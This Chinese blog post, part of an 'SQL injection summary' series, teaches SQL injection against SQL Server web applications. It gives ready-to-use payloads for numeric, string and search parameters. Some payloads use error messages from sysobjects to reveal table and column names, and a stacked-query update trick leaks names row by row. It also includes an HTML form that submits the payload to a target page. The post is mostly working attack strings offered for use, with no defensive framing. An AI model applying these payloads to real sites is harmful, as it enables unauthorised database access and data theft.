SQL注射总结(5)

通常注射的一些介绍
  A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
  select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:
  select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
  select * from 表名 where 字段='连续剧'
  注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
  select * from 表名 where 字段='连续剧' and [查询条件] and ''=''

  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
  select * from 表名 where 字段like '%关键字%'
  注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
  select * from 表名 where字段like '%' and [查询条件] and '%'='%'
  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
  sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
  从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  post.htm内容:主要是方便输入。

<iframe name=p src=# width="100%" height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>


  枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--


  这是将第一个表名更新到aaa的字段处。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--


  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,^^^^^^一个个的读出,直到没有为止。

  读字段是这样:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--


  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

关键字:软件  服务器  qq  os  msn  dos   美女 电影 小说 音乐 无极 汽车 MP3

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值